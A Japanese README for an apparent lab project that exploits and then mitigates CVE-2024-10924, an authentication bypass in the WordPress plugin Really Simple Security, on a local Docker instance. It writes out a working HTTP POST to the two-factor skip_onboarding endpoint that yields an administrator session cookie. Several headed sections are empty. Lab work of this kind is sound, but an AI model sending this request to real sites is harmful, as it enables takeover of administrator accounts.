
WordPress Really Simple Securityの認証バイパスであるCVE-2024-10924の悪用と緩和を示します。自動化されたPythonエクスプロイト、手動のBurp Suite手順、パッチ検証を含みます。
CVE-2024-10924 - Really Simple Security における認証バイパス
概要 このプロジェクトは、WordPressプラグイン「Really Simple Security」における重大な認証バイパス脆弱性であるCVE-2024-10924の悪用と緩和策を実証するものです。
ステップ1: 環境構築
脆弱なWordPress環境を起動します: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d
コンテナが実行中であることを確認します: docker ps
WordPressにアクセスします: http://localhost:1337
必要なツール:
ステップ2: 脆弱性スキャン
ターゲットに対してGVMスキャンを実行します:
ステップ3: エクスプロイト
方法A - 自動化されたPythonエクスプロイト: python exploit.py
方法B - 手動によるBurp Suite:
http://localhost:1337 へのトラフィックをインターセプトします
POSTリクエストを送信します: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json
{"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}
管理者セッションを含むSet-Cookieヘッダーがレスポンスに含まれることを確認します
期待される結果:
ステップ4: 緩和策
パッチを適用して脆弱なエンドポイントをブロックします: .\patch.ps1
この操作の内容:
ステップ5: 検証
エクスプロイトを再実行します (方法AまたはB): python exploit.py
緩和策適用後の期待される結果:
追加メモ
環境を停止するには: docker-compose down
コンテナのログを表示するには: docker-compose logs -f
WordPress管理者に正規にアクセスするには: http://localhost:1337/wp-admin (認証情報は docker-compose.yml を確認してください)